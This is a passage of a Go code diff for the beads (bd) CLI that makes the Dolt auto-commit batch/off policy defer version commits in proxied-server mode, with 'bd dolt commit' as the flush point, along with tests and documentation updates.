on/unset. It deliberately does not claim to cover the proxied-server wiring — +// issueOpsContext branches only on writesCommitNow(), never on the storage +// mode, so setting proxiedServerMode here would prove nothing. The proxied +// wiring is pinned by TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +// and the deferral itself by the doltserver_tx tests. +func TestIssueOpsContextDefersByModePolicyTable(t *testing.T) { + for _, tc := range []struct { + mode string + wantDeferred bool + }{ + {mode: string(doltAutoCommitOn), wantDeferred: false}, + {mode: string(doltAutoCommitBatch), wantDeferred: true}, + {mode: string(doltAutoCommitOff), wantDeferred: true}, + {mode: "", wantDeferred: false}, + } { + t.Run("mode="+tc.mode, func(t *testing.T) { + saveStorageMode(t) + serverMode = false + proxiedServerMode = false + doltAutoCommit = tc.mode + + ctx, err := issueOpsContext(context.Background()) + if err != nil { + t.Fatalf("issueOpsContext: %v", err) + } + if got := storageissueops.VersionCommitDeferred(ctx); got != tc.wantDeferred { + t.Fatalf("VersionCommitDeferred = %v, want %v for mode %q", got, tc.wantDeferred, tc.mode) + } + }) + } +} diff --git a/cmd/bd/dolt_commit_proxied_integration_test.go b/cmd/bd/dolt_commit_proxied_integration_test.go new file mode 100644 index 000000000..8f7f8c894 --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_integration_test.go @@ -0,0 +1,191 @@ +//go:build cgo + +package main + +import ( + "fmt" + "os" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// sqlCountValue extracts a COUNT(*) cell from bdProxiedSQLJSON. sqlValueEquals +// only answers "is it this number"; the batch-flush assertions need the number +// itself so a failure can report how far HEAD actually moved. +func sqlCountValue(v any) (float64, bool) { + switch x := v.(type) { + case float64: + return x, true + case string: + f, err := strconv.ParseFloat(x, 64) + return f, err == nil + default: + return 0, false + } +} + +// TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce pins every half of +// GH#4995 on the proxied route: dolt.auto-commit=batch must leave policy writes +// in the working set (no Dolt commit per write), `bd dolt commit` must mint +// exactly one commit for the whole batch and attribute it to the actor, and the +// explicit commit points must keep minting their own commit with the caller's +// message despite the route-wide deferral. +// +// Before the proxied flush point existed, step 3 below failed with +// "no store available": proxied mode returns from the root pre-run before +// newDoltStore runs, so getStore() is nil and `bd dolt commit` had nothing to +// commit through. batch/off therefore meant "never commit" on this route. +func TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce(t *testing.T) { + requireProxiedServerEnv(t) + + bd := buildEmbeddedBD(t) + p := bdProxiedInit(t, bd, "batchflush") + + doltLogCount := func(t *testing.T) float64 { + t.Helper() + rows := bdProxiedSQLJSON(t, bd, p.dir, "SELECT COUNT(*) AS count FROM dolt_log") + if len(rows) != 1 { + t.Fatalf("expected one row from dolt_log count, got %d: %v", len(rows), rows) + } + n, ok := sqlCountValue(rows[0]["count"]) + if !ok { + t.Fatalf("dolt_log count is not numeric: %#v", rows[0]["count"]) + } + return n + } + + headCommit := func(t *testing.T) map[string]interface{} { + t.Helper() + rows := bdProxiedSQLJSON(t, bd, p.dir, + "SELECT message, committer, email FROM dolt_log ORDER BY date DESC LIMIT 1") + if len(rows) != 1 { + t.Fatalf("expected one dolt_log row for HEAD, got %d: %v", len(rows), rows) + } + return rows[0] + } + + head0 := doltLogCount(t) + + // 1. Three writes under the batch policy must not mint any Dolt commit. + for i := 1; i <= 3; i++ { + title := fmt.Sprintf("batch write %d", i) + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "create", title, "-p", "1") + if err != nil { + t.Fatalf("bd create %q failed: %v\nstdout:\n%s\nstderr:\n%s", title, err, stdout, stderr) + } + } + + if got := doltLogCount(t); got != head0 { + t.Fatalf("batch writes minted Dolt commits: dolt_log went %v -> %v (want unchanged)", head0, got) + } + + // 2. The writes are in the working set, not rolled back. + listOut, listErr, err := bdProxiedRunBuffers(t, bd, p.dir, "list", "--json") + if err != nil { + t.Fatalf("bd list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, listOut, listErr) + } + for i := 1; i <= 3; i++ { + title := fmt.Sprintf("batch write %d", i) + if !strings.Contains(listOut, title) { + t.Fatalf("deferred write %q is not readable after batch create:\n%s", title, listOut) + } + } + + // 3. The explicit flush point mints exactly one commit for the batch. + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "--actor", "flush-actor", "dolt", "commit", "-m", "batch flush") + if err != nil { + t.Fatalf("bd dolt commit failed in proxied mode: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Committed.") { + t.Fatalf("bd dolt commit did not report a commit:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if got, want := doltLogCount(t), head0+1; got != want { + t.Fatalf("bd dolt commit did not advance HEAD exactly once: dolt_log %v -> %v (want %v)", head0, got, want) + } + + // 3b. The flush is attributed to the bd actor, not the SQL session user. + // Under batch mode this is the only commit a whole batch of writes leaves + // behind, so `dolt log` has to be able to say whose batch it was — the + // '--author' DoltStorage.CommitAll passes on the direct route. + head := headCommit(t) + if got := head["message"]; got != "batch flush" { + t.Fatalf("flush commit message = %v, want %q (row: %v)", got, "batch flush", head) + } + if got := head["committer"]; got != "flush-actor" { + t.Fatalf("flush commit is not attributed to the actor: committer = %v, want %q (row: %v)", got, "flush-actor", head) + } + if got := head["email"]; got != "test@test.com" { + t.Fatalf("flush commit email = %v, want the git identity %q (row: %v)", got, "test@test.com", head) + } + + // 4. A second flush with nothing pending is a no-op, not a second commit. + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, "dolt", "commit", "-m", "second flush") + if err != nil { + t.Fatalf("second bd dolt commit failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Nothing to commit.") { + t.Fatalf("second bd dolt commit did not report an empty working set:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if got, want := doltLogCount(t), head0+1; got != want { + t.Fatalf("second bd dolt commit advanced HEAD: dolt_log = %v (want %v)", got, want) + } + + // 5. The deferral is policy-driven, not unconditional: with the default + // "on" policy a single create advances dolt_log by one on its own. + before := doltLogCount(t) + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "on", "create", "immediate write", "-p", "1") + if err != nil { + t.Fatalf("bd create with --dolt-auto-commit on failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got, want := doltLogCount(t), before+1; got != want { + t.Fatalf("auto-commit=on did not commit per write: dolt_log %v -> %v (want %v)", before, got, want) + } + + // 6. The deferral is per commit CLASS, not per route: `bd batch -m` is an + // explicit commit point (its direct-route twin calls transact, which mints + // regardless of policy), so under batch it must still commit, carrying the + // caller's message. A plain create in the same policy is the control. + before = doltLogCount(t) + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "create", "deferred control write", "-p", "1") + if err != nil { + t.Fatalf("control create under batch failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got := doltLogCount(t); got != before { + t.Fatalf("control create minted a commit under batch: dolt_log %v -> %v (want unchanged)", before, got) + } + + script := filepath.Join(p.dir, "explicit-batch.txt") + if err := os.WriteFile(script, []byte("create task 1 explicit batch write\n"), 0o600); err != nil { + t.Fatalf("write batch script: %v", err) + } + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "batch", "-f", script, "-m", "explicit batch commit") + if err != nil { + t.Fatalf("bd batch under batch policy failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got, want := doltLogCount(t), before+1; got != want { + t.Fatalf("explicit batch commit did not mint exactly one commit under batch: dolt_log %v -> %v (want %v)", before, got, want) + } + // The message is the half a route-wide deferral silently drops: blanking it + // selects the plain-COMMIT form, which persists the rows and records nothing. + if got := headCommit(t)["message"]; got != "explicit batch commit" { + t.Fatalf("explicit batch commit lost the caller's message: %v (want %q)", got, "explicit batch commit") + } + + // 7. That commit swept the deferred control write with it (DOLT_COMMIT + // '-Am'), so the working set is clean and a flush now has nothing to do — + // the exemption does not strand the writes the policy deferred. + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, "dolt", "commit", "-m", "post-batch flush") + if err != nil { + t.Fatalf("flush after explicit batch commit failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Nothing to commit.") { + t.Fatalf("flush after explicit batch commit found pending work:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } +} diff --git a/cmd/bd/dolt_commit_proxied_server.go b/cmd/bd/dolt_commit_proxied_server.go new file mode 100644 index 000000000..55cd82f13 --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_server.go @@ -0,0 +1,88 @@ +package main + +import ( + "context" + "database/sql" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// runDoltCommitProxiedServer is the proxied dual of `bd dolt commit`: the +// explicit commit point that discharges dolt.auto-commit=batch/off on this +// route (GH#4995). Proxied mode returns from the root pre-run before +// newDoltStore ever runs, so getStore() is nil here and the UOW provider is the +// only handle on the server — without this dual, batch/off on a proxied +// checkout meant "never commit" and writes piled up in the working set forever. +// +// It deliberately does not open a unit of work: doltServerTx.Commit blanks its +// message under a deferred context (that is the deferral this command exists to +// discharge), so routing the flush through it would make the flush itself a +// no-op. It runs DOLT_COMMIT('-Am') on a pinned maintenance connection instead, +// which is the uow-side equivalent of DoltStorage.CommitAll: "everything in the +// working set", including out-of-band and config-table dirt, attributed to the +// same actor with '--author'. +func runDoltCommitProxiedServer(ctx context.Context, message string) (bool, error) { + committed := false + // runProxiedNonTx, not an open-coded provider assertion: it is the shared + // maintenance escape hatch (backup, compact, clean-databases) and it reports + // provider failures through HandleErrorRespectJSON, so `bd --json dolt + // commit` keeps emitting the JSON error envelope the rest of the proxied + // surface emits. + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + // The same gate doltServerTx.Commit uses, and for the same reason: an + // empty DOLT_COMMIT is rejected server-side with "nothing to commit" + // and floods the server log. + pending, err := issueops.HasPendingChanges(ctx, conn) + if err != nil { + return err + } + if !pending { + return nil + } + if _, err := conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', ?, '--author', ?);", message, proxiedCommitAuthor()); err != nil { + if isDoltNothingToCommit(err) { + return nil + } + return err + } + committed = true + return nil + }) + return committed, err +} + +// proxiedCommitAuthor is the '--author' identity for the proxied flush, the +// counterpart of DoltStorage.commitAuthorString on the direct route. Without it +// the commit is attributed to the SQL session user, and under batch mode this is +// the ONE commit that survives a whole batch of writes — so on a multi-agent +// deployment `dolt log` could not say whose batch was flushed. +// +// The actor half is the same getActor() the default commit message names; the +// address half comes from git, as it does for the committer identity the store +// resolves for its own commits. +func proxiedCommitAuthor() string { + name, email := proxiedServerCommitter() + if a := strings.TrimSpace(getActor()); a != "" { + name = a + } + return renderDoltCommitAuthor(name, email) +} + +// renderDoltCommitAuthor formats a Dolt '--author' argument. Dolt parses the +// git "Name " grammar and rejects anything else, so the angle brackets +// and newlines an actor name could carry are stripped rather than passed +// through to fail the flush. +func renderDoltCommitAuthor(name, email string) string { + clean := strings.NewReplacer("<", "", ">", "", "\n", " ", "\r", " ") + name = strings.TrimSpace(clean.Replace(name)) + email = strings.TrimSpace(clean.Replace(email)) + if name == "" { + name = "beads" + } + if email == "" { + email = "beads@localhost" + } + return fmt.Sprintf("%s <%s>", name, email) +} diff --git a/cmd/bd/dolt_commit_proxied_server_test.go b/cmd/bd/dolt_commit_proxied_server_test.go new file mode 100644 index 000000000..032bcb17b --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_server_test.go @@ -0,0 +1,29 @@ +package main + +import "testing" + +// TestRenderDoltCommitAuthor pins the '--author' argument the proxied flush +// passes to DOLT_COMMIT (GH#4995). Dolt parses the git "Name " grammar +// and rejects anything else, and the name half is an actor string the caller +// controls, so a stray bracket or newline must be stripped rather than turned +// into a failed flush — the flush is the only commit batch mode keeps. +func TestRenderDoltCommitAuthor(t *testing.T) { + for _, tc := range []struct { + name string + actor string + email string + want string + }{ + {name: "actor and email", actor: "agent-7", email: "agent7@example.com", want: "agent-7 "}, + {name: "trims surrounding space", actor: " agent-7 ", email: " agent7@example.com\n", want: "agent-7 "}, + {name: "strips brackets the grammar owns", actor: "agent <7>", email: "a@b", want: "agent 7 "}, + {name: "strips embedded newline", actor: "agent\n7", email: "a@b", want: "agent 7 "}, + {name: "defaults an empty identity", actor: "", email: "", want: "beads "}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := renderDoltCommitAuthor(tc.actor, tc.email); got != tc.want { + t.Fatalf("renderDoltCommitAuthor(%q, %q) = %q, want %q", tc.actor, tc.email, got, tc.want) + } + }) + } +} diff --git a/cmd/bd/errors.go b/cmd/bd/errors.go index bf753777b..4c1422b2f 100644 --- a/cmd/bd/errors.go +++ b/cmd/bd/errors.go @@ -30,6 +30,15 @@ func exitCodeFromError(err error) (int, bool) { return 0, false } +// isReportedExit reports whether err is an already-rendered failure — the +// *exitError every Handle*Error returns after writing the message (or the JSON +// error envelope) itself. A caller that re-wraps one prints a second Error line +// and, in --json mode, a plain line after the envelope. +func isReportedExit(err error) bool { + _, reported := exitCodeFromError(err) + return reported +} + func activeWorkspaceNotFoundError() string { return "no active beads workspace found" } diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index 41223bd21..cb7b3fdc5 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -61,7 +61,6 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { {"flatten", "proxy.flatten.unsupported", "flatten is not supported in proxied-server mode", []string{"flatten"}}, {"dolt push", "proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode", []string{"dolt", "push"}}, {"dolt pull", "proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode", []string{"dolt", "pull"}}, - {"dolt commit", "proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode", []string{"dolt", "commit"}}, {"dolt remote add", "proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode", []string{"dolt", "remote", "add", "backup", "https://example.invalid/backup"}}, {"dolt remote list", "proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode", []string{"dolt", "remote", "list"}}, {"dolt remote reset-data", "proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode", []string{"dolt", "remote", "reset-data", "backup"}}, @@ -126,8 +125,10 @@ func snapshotHistoryArtifacts(t *testing.T, p proxiedProject) []byte { return out } -// TestHistoryRemoteSupportedFrontDoorParity checks the two operations that -// are intentionally shared by direct and proxied providers. +// TestHistoryRemoteSupportedFrontDoorParity checks the operations that are +// intentionally shared by direct and proxied providers: history --events, +// dolt remote remove, and dolt commit (the flush point dolt.auto-commit=batch/off +// defers to, GH#4995). func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { if os.Getenv("BEADS_TEST_PROXIED_SERVER") != "1" && os.Getenv(managedLocalProxiedEnvVar) != "1" { t.Skip("set a proxied test lane to run history parity") @@ -162,6 +163,13 @@ func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { if err != nil || !strings.Contains(string(out), "backup") { t.Fatalf("remote remove failed: %v\n%s", err, out) } + // dolt commit must pass the front door rather than be refused. Exact + // commit semantics are pinned by + // TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce. + out, err = bdProxiedRun(t, bd, p.dir, "--json", "dolt", "commit") + if err != nil || strings.Contains(string(out), "proxy.dolt_commit.unsupported") { + t.Fatalf("dolt commit refused or failed: %v\n%s", err, out) + } }) } } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index e93b6dd54..345639a35 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -879,7 +879,7 @@ func init() { rootCmd.PersistentFlags().BoolVar(&sandboxMode, "sandbox", false, "Sandbox mode: disables Dolt auto-push") rootCmd.PersistentFlags().BoolVar(&readonlyMode, "readonly", false, "Read-only mode: block write operations (for worker sandboxes)") rootCmd.PersistentFlags().BoolVar(&globalFlag, "global", false, "Use the global shared-server database (beads_global)") - rootCmd.PersistentFlags().StringVar(&doltAutoCommit, "dolt-auto-commit", "", "Dolt auto-commit policy (off|on|batch). 'on': commit after each write. 'batch': defer commits to bd dolt commit; uncommitted changes persist in the working set until then (a live batch-mode bd process also flushes on SIGTERM/SIGHUP). Applies to embedded and direct SQL-server modes; proxied-server routes are unaffected. Default: on. Override via config key dolt.auto-commit") + rootCmd.PersistentFlags().StringVar(&doltAutoCommit, "dolt-auto-commit", "", "Dolt auto-commit policy (off|on|batch). 'on': commit after each write. 'batch': defer commits to bd dolt commit; uncommitted changes persist in the working set until then (a live batch-mode bd process also flushes on SIGTERM/SIGHUP, except in proxied-server mode, where bd dolt commit is the only flush point). In proxied-server mode the deferral covers the writes the CLI makes on that route, including config and version metadata; explicit commit points (bd batch, bd mol bond/pour/squash, bd mol wisp create, and the wisp half of bd mol burn) still commit, and a bd serve process on the same database is unaffected. Default: on. Override via config key dolt.auto-commit") rootCmd.PersistentFlags().BoolVar(&cpuProfileEnabled, "cpu-profile", false, "Generate CPU profile for performance analysis") rootCmd.PersistentFlags().StringVar(&memProfilePath, "mem-profile", "", "Write heap profile to FILE on exit (also respects BEADS_MEM_PROFILE)") rootCmd.PersistentFlags().BoolVarP(&verboseFlag, "verbose", "v", false, "Enable verbose/debug output") @@ -1807,6 +1807,16 @@ var rootCmd = &cobra.Command{ } uowProvider = uow.NewNotifyingProvider(p, uowSinks) + // Honor dolt.auto-commit for proxied writes the same way + // issueOpsContext already does for the direct/SQL-server routes + // (bd-4wamg): batch/off defer the Dolt version commit rather than + // minting one per write (GH#4995). uow.issueOperations reads this + // off the context for every Create/Update/Close/Reopen it runs. + rootCtx, err = issueOpsContext(rootCtx) + if err != nil { + return HandleError("failed to resolve dolt auto-commit policy: %v", err) + } + if !previewMode { reconcileVersionProxiedServer(rootCtx) } diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index bb28a2d74..efb2e1cd0 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -27,6 +27,9 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { if uowProvider == nil { return HandleError("proxied-server UOW provider not initialized") } + // Explicit commit point, like the `transact` in cloneSubgraph the direct + // route reaches through spawnMolecule (GH#4995). + ctx = explicitCommitPointContext(ctx) vars, err := parseVarFlags(in.varFlags) if err != nil { @@ -372,6 +375,9 @@ func runMolBondProxiedServer(ctx context.Context, in molBondInput) error { if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` in bondProtoMol/bondMolecules on + // the direct route (GH#4995). + ctx = explicitCommitPointContext(ctx) if in.dryRun { uw, err := proxiedOpenReadUOW(ctx) @@ -446,6 +452,9 @@ func runMolSquashProxiedServer(ctx context.Context, in molSquashInput) error { if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` in runMolSquash on the direct + // route (GH#4995). + ctx = explicitCommitPointContext(ctx) if in.dryRun { uw, err := proxiedOpenReadUOW(ctx) @@ -516,6 +525,15 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Only the wisp half is an explicit commit point, so the exemption is + // applied per commit site below rather than to this ctx (GH#4995). + // runMolBurn splits on the direct route: wisps go through burnWisps -> + // `transact`, which mints the commit whatever dolt.auto-commit says, while + // persistent molecules go through deleteBatch -> issueOpsContext, the + // policy-honoring class — dolt's deleter returns before DOLT_COMMIT when + // that context defers. Exempting the whole command would mint one commit + // per persistent molecule under batch/off, on a destructive verb, where the + // identical direct-route command defers them all to `bd dolt commit`. uw, err := proxiedOpenReadUOW(ctx) if err != nil { @@ -617,7 +635,8 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b } if len(wispIDs) > 0 { - result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { + // The wisp half's direct twin is burnWisps -> `transact`. + result, err := uow.RunTxResult(explicitCommitPointContext(ctx), uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, actor) if err != nil { return nil, "", err @@ -635,6 +654,10 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b } for _, id := range persistentIDs { + // No exemption: the persistent half's direct twin is deleteBatch -> + // issueOpsContext, so this stays on the inherited policy context and + // the message is blanked under batch/off, exactly as the direct route + // leaves these deletions in the working set for `bd dolt commit`. result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (BurnResult, string, error) { subgraph, err := loadTemplateSubgraph(ctx, newUOWMolWriter(uw), id) if err != nil { diff --git a/cmd/bd/proxied_maintenance.go b/cmd/bd/proxied_maintenance.go index d41bc8ba0..867f703ea 100644 --- a/cmd/bd/proxied_maintenance.go +++ b/cmd/bd/proxied_maintenance.go @@ -13,7 +13,10 @@ func runProxiedNonTx(ctx context.Context, fn func(ctx context.Context, conn *sql } mp, ok := uowProvider.(uow.MaintenanceProvider) if !ok { - return HandleErrorRespectJSON("proxied-server provider does not support maintenance operations") + // The %T is the whole diagnostic: every wrapper in the proxied chain + // forwards RunNonTx with a compile-time assertion, so reaching this + // means a new decorator dropped it, and its type names the culprit. + return HandleErrorRespectJSON("proxied-server provider %T does not support maintenance operations", uowProvider) } return mp.RunNonTx(ctx, fn) } diff --git a/cmd/bd/vc.go b/cmd/bd/vc.go index a10a81cfe..360b2c2cf 100644 --- a/cmd/bd/vc.go +++ b/cmd/bd/vc.go @@ -179,7 +179,10 @@ Examples: SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { if usesProxiedServer() { - return HandleErrorRespectJSON("vc commit is not supported in proxied-server mode") + // There IS a commit point on this route now — `bd dolt commit` + // is the proxied flush point dolt.auto-commit=batch/off defers + // to (GH#4995) — so name it rather than leaving a dead end. + return HandleErrorRespectJSON("vc commit is not supported in proxied-server mode; use 'bd dolt commit' instead") } evt := metrics.NewCommandEvent("vc-commit") defer func() { diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index 25562faad..b05792e69 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -20,6 +20,12 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { if uowProvider == nil { return HandleError("proxied-server UOW provider not initialized") } + // Explicit commit point, like the `transact` in cloneSubgraph the direct + // route reaches through spawnMoleculeWithOptions (GH#4995). The wisp tables + // are dolt_ignored, so the commit this preserves is whatever tracked rows + // the spawn touches — the class membership is what matters here, not the + // size of the commit. + ctx = explicitCommitPointContext(ctx) vars, err := parseVarFlags(in.varFlags) if err != nil { diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index bd3995a26..8d2dfed68 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -106,7 +106,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `agent.profile` | — | `BD_AGENT_PROFILE` | `conservative` | Policy profile `bd prime` uses for git/commit authority: `conservative`, `minimal`, `team-maintainer`; invalid values fall back to `conservative` | | `prime.max-memories` | `--max-memories` | `BD_PRIME_MAX_MEMORIES` | `0` | Max persistent memories injected by `bd prime` (0 = unlimited) | | `prime.max-memory-chars` | `--max-memory-chars` | `BD_PRIME_MAX_MEMORY_CHARS` | `0` | Max total bytes of memory entries injected by `bd prime`, at whole-memory boundaries (0 = unlimited) | -| `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | Create a Dolt history commit after each successful write (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | +| `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | `off\|on\|batch`: `on` creates a Dolt history commit after each successful write; `batch`/`off` defer it to `bd dolt commit` (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | | `dolt.auto-push` | — | `BD_DOLT_AUTO_PUSH` | `false` | Auto-push to Dolt remote after writes (opt-in; see [below](#auto-push)) | | `dolt.auto-push-interval` | — | `BD_DOLT_AUTO_PUSH_INTERVAL` | `5m` | Minimum time between auto-pushes | | `dolt.auto-push-timeout` | — | `BD_DOLT_AUTO_PUSH_TIMEOUT` | `30s` | Timeout for a single auto-push attempt | @@ -195,6 +195,26 @@ dolt: auto-commit: off ``` +`batch` and `off` defer the Dolt history commit instead of skipping the write: the change is +still durable in the working set, and `bd dolt commit` records the accumulated batch as a single +Dolt commit. This applies on every storage mode — embedded, direct SQL-server, and +proxied-server. In proxied-server mode the deferral covers the writes the CLI makes on that +route, including workspace config and version metadata, and `bd dolt commit` is the only flush +point there: the SIGTERM/SIGHUP flush of a live batch-mode process needs an open store, which +proxied mode never has (it does run in embedded and direct SQL-server modes). + +Two kinds of write stay outside the deferral, in every mode: + +- **Explicit commit points** — `bd batch` (whose commit message defaults to a synthesized one + when `-m` is absent, so every batch commits), `bd mol bond`, `bd mol pour`, `bd mol squash`, + `bd mol wisp create`, and the wisp half of `bd mol burn` — commit what they wrote, with the + message they were given: the commit is that command's contract rather than auto-commit + policy. Burning a *persistent* molecule is an ordinary delete, so it honors the policy and + defers with everything else. +- **Writes made by a `bd serve` process**, whose HTTP API requests carry their own context + instead of the CLI's, so a daemon keeps committing per write even while the CLI on the same + database defers. + ### Auto-backup Periodic Dolt-native backup to `.beads/backup/` provides a recovery path independent of the live database. Local Dolt commits (via `dolt.auto-commit`) remain the primary safety net; backup is a secondary layer. Unlike `bd export` or `.beads/issues.jsonl`, this is a full database backup: it preserves tables, branches, commit history, and working-set data. diff --git a/internal/storage/issueops/version_commit.go b/internal/storage/issueops/version_commit.go index dc17814ed..1abd8a4ff 100644 --- a/internal/storage/issueops/version_commit.go +++ b/internal/storage/issueops/version_commit.go @@ -19,6 +19,18 @@ func WithDeferredVersionCommit(ctx context.Context) context.Context { return context.WithValue(ctx, deferVersionCommitKey{}, true) } +// WithImmediateVersionCommit returns a context that creates its Dolt version +// commit even when an ancestor context deferred it. +// +// A route that applies the deferral once, for every command it dispatches — +// the proxied-server CLI sets it on the root context (GH#4995) — needs this to +// re-express the exemption the per-verb routes get by not being wrapped at all: +// an explicit commit point ("commit these writes now, with this message") is +// not a write whose versioning is policy, so it must not inherit the deferral. +func WithImmediateVersionCommit(ctx context.Context) context.Context { + return context.WithValue(ctx, deferVersionCommitKey{}, false) +} + // VersionCommitDeferred reports whether ctx defers version commits. func VersionCommitDeferred(ctx context.Context) bool { deferred, _ := ctx.Value(deferVersionCommitKey{}).(bool) diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index 12762d972..ee22e35d6 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -30,13 +30,28 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { if t.done { return errors.New("uow: commit: already done") } + // dolt.auto-commit=batch/off (GH#4995): defer the Dolt version commit to a + // later explicit commit point (bd dolt commit), the same as the embedded + // and direct SQL-server backends already do at their own commit sites + // (bd-4wamg) — persist the write into the working set via a plain SQL + // COMMIT below, without minting Dolt history, regardless of what message + // the caller named. issueOpsContext sets this on the context before the + // proxied CLI dispatch opens its unit of work. + if message != "" && issueops.VersionCommitDeferred(ctx) { + message = "" + } // An empty message selects the EPHEMERAL commit form (bd-aq0ql): a plain // SQL COMMIT persists the transaction's writes into the working set - // without minting a Dolt commit or history. This exists for work that - // touches ONLY dolt_ignored state — today the leases table (bd-lrgn1), - // whose heartbeats must never create commits — and is only reachable via - // uow.RunTxEphemeral: RunTx/RunTxResult treat an empty commitMsg as - // "nothing to commit" and never call Commit at all. + // without minting a Dolt commit or history. It has two entry points: + // + // - uow.RunTxEphemeral, for work that touches ONLY dolt_ignored state — + // today the leases table (bd-lrgn1), whose heartbeats must never create + // commits. RunTx/RunTxResult treat an empty commitMsg as "nothing to + // commit" and never call Commit at all, so they cannot reach it that way. + // - RunTx/RunTxResult under a deferred-version-commit context, via the + // blanking just above (GH#4995). There the writes are ordinary versioned + // rows and the ONLY-dolt_ignored-state rationale does not apply: the + // working set is meant to hold them until the explicit flush point. stmt, args := "CALL DOLT_COMMIT('-Am', ?);", []interface{}{message} if message == "" { stmt, args = "COMMIT;", nil diff --git a/internal/storage/uow/doltserver_tx_test.go b/internal/storage/uow/doltserver_tx_test.go index 464a53494..036291ba8 100644 --- a/internal/storage/uow/doltserver_tx_test.go +++ b/internal/storage/uow/doltserver_tx_test.go @@ -20,6 +20,7 @@ import ( "testing" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage/issueops" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -202,3 +203,85 @@ func TestDoltServerTxEphemeralCommitSkipsPendingCheck(t *testing.T) { require.NoError(t, err) require.NoError(t, mock.ExpectationsWereMet()) } + +// TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext pins GH#4995: +// dolt.auto-commit=batch/off marks the context with WithDeferredVersionCommit. +// doltServerTx.Commit must blank the commit message, bypassing DOLT_COMMIT +// and the HasPendingChanges dolt_status check, and executing a plain COMMIT +// to persist writes into the working set without advancing Dolt history. +func 